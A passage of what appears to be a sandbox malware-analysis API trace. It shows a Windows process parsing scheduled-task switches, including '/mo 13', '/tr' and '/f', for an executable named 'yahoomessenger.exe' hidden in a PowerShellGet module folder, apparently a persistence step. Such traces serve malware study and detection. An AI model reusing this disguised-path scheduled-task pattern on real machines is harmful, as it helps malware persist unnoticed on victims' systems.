(_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.809] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|u|") returned 3 [0065.809] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.809] lstrlenW (lpString="|u|") returned 3 [0065.809] lstrlenW (lpString="|mo|") returned 4 [0065.809] SetLastError (dwErrCode=0x490) [0065.809] lstrlenW (lpString="p") returned 1 [0065.809] lstrlenW (lpString="p") returned 1 [0065.809] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.809] lstrlenW (lpString="mo") returned 2 [0065.809] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.809] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|p|") returned 3 [0065.809] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.809] lstrlenW (lpString="|p|") returned 3 [0065.809] lstrlenW (lpString="|mo|") returned 4 [0065.809] SetLastError (dwErrCode=0x490) [0065.809] lstrlenW (lpString="ru") returned 2 [0065.810] lstrlenW (lpString="ru") returned 2 [0065.810] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.810] lstrlenW (lpString="mo") returned 2 [0065.810] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.810] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ru|") returned 4 [0065.810] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.810] lstrlenW (lpString="|ru|") returned 4 [0065.810] lstrlenW (lpString="|mo|") returned 4 [0065.810] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0065.810] SetLastError (dwErrCode=0x490) [0065.810] lstrlenW (lpString="rp") returned 2 [0065.810] lstrlenW (lpString="rp") returned 2 [0065.810] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.810] lstrlenW (lpString="mo") returned 2 [0065.810] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.810] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|rp|") returned 4 [0065.810] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.810] lstrlenW (lpString="|rp|") returned 4 [0065.810] lstrlenW (lpString="|mo|") returned 4 [0065.810] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0065.810] SetLastError (dwErrCode=0x490) [0065.811] lstrlenW (lpString="sc") returned 2 [0065.811] lstrlenW (lpString="sc") returned 2 [0065.811] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.811] lstrlenW (lpString="mo") returned 2 [0065.811] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.811] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.811] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.811] lstrlenW (lpString="|sc|") returned 4 [0065.811] lstrlenW (lpString="|mo|") returned 4 [0065.811] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0065.811] SetLastError (dwErrCode=0x490) [0065.811] lstrlenW (lpString="mo") returned 2 [0065.811] lstrlenW (lpString="mo") returned 2 [0065.811] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.811] lstrlenW (lpString="mo") returned 2 [0065.811] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.811] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.811] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.811] lstrlenW (lpString="|mo|") returned 4 [0065.811] lstrlenW (lpString="|mo|") returned 4 [0065.811] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0065.811] SetLastError (dwErrCode=0x0) [0065.811] SetLastError (dwErrCode=0x0) [0065.811] lstrlenW (lpString="13") returned 2 [0065.812] lstrlenW (lpString="-/") returned 2 [0065.812] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0065.812] SetLastError (dwErrCode=0x490) [0065.812] SetLastError (dwErrCode=0x490) [0065.812] SetLastError (dwErrCode=0x0) [0065.812] lstrlenW (lpString="13") returned 2 [0065.812] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0065.812] SetLastError (dwErrCode=0x490) [0065.812] SetLastError (dwErrCode=0x0) [0065.812] _memicmp (_Buf1=0x2ed700, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.812] lstrlenW (lpString="13") returned 2 [0065.812] lstrlenW (lpString="13") returned 2 [0065.812] lstrlenW (lpString=" \x09") returned 2 [0065.812] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0065.812] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0065.812] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0065.812] GetLastError () returned 0x0 [0065.812] lstrlenW (lpString="13") returned 2 [0065.812] lstrlenW (lpString="13") returned 2 [0065.812] GetProcessHeap () returned 0x2d0000 [0065.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2e55d0 [0065.812] SetLastError (dwErrCode=0x0) [0065.812] SetLastError (dwErrCode=0x0) [0065.812] lstrlenW (lpString="/tr") returned 3 [0065.812] lstrlenW (lpString="-/") returned 2 [0065.812] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.812] lstrlenW (lpString="create") returned 6 [0065.813] lstrlenW (lpString="create") returned 6 [0065.813] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.813] lstrlenW (lpString="tr") returned 2 [0065.813] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.813] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.813] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.813] lstrlenW (lpString="|create|") returned 8 [0065.813] lstrlenW (lpString="|tr|") returned 4 [0065.813] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0065.813] SetLastError (dwErrCode=0x490) [0065.813] lstrlenW (lpString="?") returned 1 [0065.813] lstrlenW (lpString="?") returned 1 [0065.813] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.813] lstrlenW (lpString="tr") returned 2 [0065.813] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.813] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|?|") returned 3 [0065.813] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.813] lstrlenW (lpString="|?|") returned 3 [0065.813] lstrlenW (lpString="|tr|") returned 4 [0065.813] SetLastError (dwErrCode=0x490) [0065.813] lstrlenW (lpString="s") returned 1 [0065.813] lstrlenW (lpString="s") returned 1 [0065.813] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] lstrlenW (lpString="tr") returned 2 [0065.814] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|s|") returned 3 [0065.814] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.814] lstrlenW (lpString="|s|") returned 3 [0065.814] lstrlenW (lpString="|tr|") returned 4 [0065.814] SetLastError (dwErrCode=0x490) [0065.814] lstrlenW (lpString="u") returned 1 [0065.814] lstrlenW (lpString="u") returned 1 [0065.814] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] lstrlenW (lpString="tr") returned 2 [0065.814] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|u|") returned 3 [0065.814] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.814] lstrlenW (lpString="|u|") returned 3 [0065.814] lstrlenW (lpString="|tr|") returned 4 [0065.814] SetLastError (dwErrCode=0x490) [0065.814] lstrlenW (lpString="p") returned 1 [0065.814] lstrlenW (lpString="p") returned 1 [0065.814] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] lstrlenW (lpString="tr") returned 2 [0065.814] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.814] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|p|") returned 3 [0065.815] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.815] lstrlenW (lpString="|p|") returned 3 [0065.815] lstrlenW (lpString="|tr|") returned 4 [0065.815] SetLastError (dwErrCode=0x490) [0065.815] lstrlenW (lpString="ru") returned 2 [0065.815] lstrlenW (lpString="ru") returned 2 [0065.815] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.815] lstrlenW (lpString="tr") returned 2 [0065.815] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.815] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ru|") returned 4 [0065.815] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.815] lstrlenW (lpString="|ru|") returned 4 [0065.815] lstrlenW (lpString="|tr|") returned 4 [0065.815] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0065.815] SetLastError (dwErrCode=0x490) [0065.815] lstrlenW (lpString="rp") returned 2 [0065.815] lstrlenW (lpString="rp") returned 2 [0065.815] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.815] lstrlenW (lpString="tr") returned 2 [0065.815] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.815] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|rp|") returned 4 [0065.815] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.815] lstrlenW (lpString="|rp|") returned 4 [0065.816] lstrlenW (lpString="|tr|") returned 4 [0065.816] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0065.816] SetLastError (dwErrCode=0x490) [0065.816] lstrlenW (lpString="sc") returned 2 [0065.816] lstrlenW (lpString="sc") returned 2 [0065.816] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.816] lstrlenW (lpString="tr") returned 2 [0065.816] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.816] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.816] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.816] lstrlenW (lpString="|sc|") returned 4 [0065.816] lstrlenW (lpString="|tr|") returned 4 [0065.816] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0065.816] SetLastError (dwErrCode=0x490) [0065.816] lstrlenW (lpString="mo") returned 2 [0065.816] lstrlenW (lpString="mo") returned 2 [0065.816] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.816] lstrlenW (lpString="tr") returned 2 [0065.816] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.816] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.816] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.816] lstrlenW (lpString="|mo|") returned 4 [0065.816] lstrlenW (lpString="|tr|") returned 4 [0065.816] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0065.817] SetLastError (dwErrCode=0x490) [0065.817] lstrlenW (lpString="d") returned 1 [0065.817] lstrlenW (lpString="d") returned 1 [0065.817] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] lstrlenW (lpString="tr") returned 2 [0065.817] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|d|") returned 3 [0065.817] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.817] lstrlenW (lpString="|d|") returned 3 [0065.817] lstrlenW (lpString="|tr|") returned 4 [0065.817] SetLastError (dwErrCode=0x490) [0065.817] lstrlenW (lpString="m") returned 1 [0065.817] lstrlenW (lpString="m") returned 1 [0065.817] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] lstrlenW (lpString="tr") returned 2 [0065.817] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|m|") returned 3 [0065.817] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.817] lstrlenW (lpString="|m|") returned 3 [0065.817] lstrlenW (lpString="|tr|") returned 4 [0065.817] SetLastError (dwErrCode=0x490) [0065.817] lstrlenW (lpString="i") returned 1 [0065.817] lstrlenW (lpString="i") returned 1 [0065.817] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] lstrlenW (lpString="tr") returned 2 [0065.817] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.817] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|i|") returned 3 [0065.817] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.817] lstrlenW (lpString="|i|") returned 3 [0065.817] lstrlenW (lpString="|tr|") returned 4 [0065.818] SetLastError (dwErrCode=0x490) [0065.818] lstrlenW (lpString="tn") returned 2 [0065.818] lstrlenW (lpString="tn") returned 2 [0065.818] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.818] lstrlenW (lpString="tr") returned 2 [0065.818] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.818] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.818] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.818] lstrlenW (lpString="|tn|") returned 4 [0065.818] lstrlenW (lpString="|tr|") returned 4 [0065.818] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0065.818] SetLastError (dwErrCode=0x490) [0065.818] lstrlenW (lpString="tr") returned 2 [0065.818] lstrlenW (lpString="tr") returned 2 [0065.818] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.818] lstrlenW (lpString="tr") returned 2 [0065.818] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.818] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.818] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tr|") returned 4 [0065.818] lstrlenW (lpString="|tr|") returned 4 [0065.818] lstrlenW (lpString="|tr|") returned 4 [0065.818] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0065.818] SetLastError (dwErrCode=0x0) [0065.818] SetLastError (dwErrCode=0x0) [0065.818] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.818] lstrlenW (lpString="-/") returned 2 [0065.818] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0065.818] SetLastError (dwErrCode=0x490) [0065.818] SetLastError (dwErrCode=0x490) [0065.818] SetLastError (dwErrCode=0x0) [0065.819] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.819] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0065.819] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.819] _memicmp (_Buf1=0x2ec4d0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.819] _memicmp (_Buf1=0x2ec510, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.819] SetLastError (dwErrCode=0x7a) [0065.819] SetLastError (dwErrCode=0x0) [0065.819] SetLastError (dwErrCode=0x0) [0065.819] lstrlenW (lpString="'C") returned 2 [0065.819] lstrlenW (lpString="-/") returned 2 [0065.819] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0065.819] SetLastError (dwErrCode=0x490) [0065.819] SetLastError (dwErrCode=0x490) [0065.819] SetLastError (dwErrCode=0x0) [0065.819] _memicmp (_Buf1=0x2ed700, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.819] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.819] GetProcessHeap () returned 0x2d0000 [0065.819] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed720) returned 1 [0065.819] GetProcessHeap () returned 0x2d0000 [0065.819] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed720, Size=0xc4) returned 0x2ec600 [0065.819] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.819] lstrlenW (lpString=" \x09") returned 2 [0065.819] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0065.819] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0065.819] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0065.819] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0065.820] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0065.820] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0065.820] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0065.821] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0065.822] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0065.823] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0065.823] GetLastError () returned 0x0 [0065.823] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.823] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0065.823] SetLastError (dwErrCode=0x0) [0065.823] SetLastError (dwErrCode=0x0) [0065.823] lstrlenW (lpString="/f") returned 2 [0065.823] lstrlenW (lpString="-/") returned 2 [0065.823] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.823] lstrlenW (lpString="create") returned 6 [0065.823] lstrlenW (lpString="create") 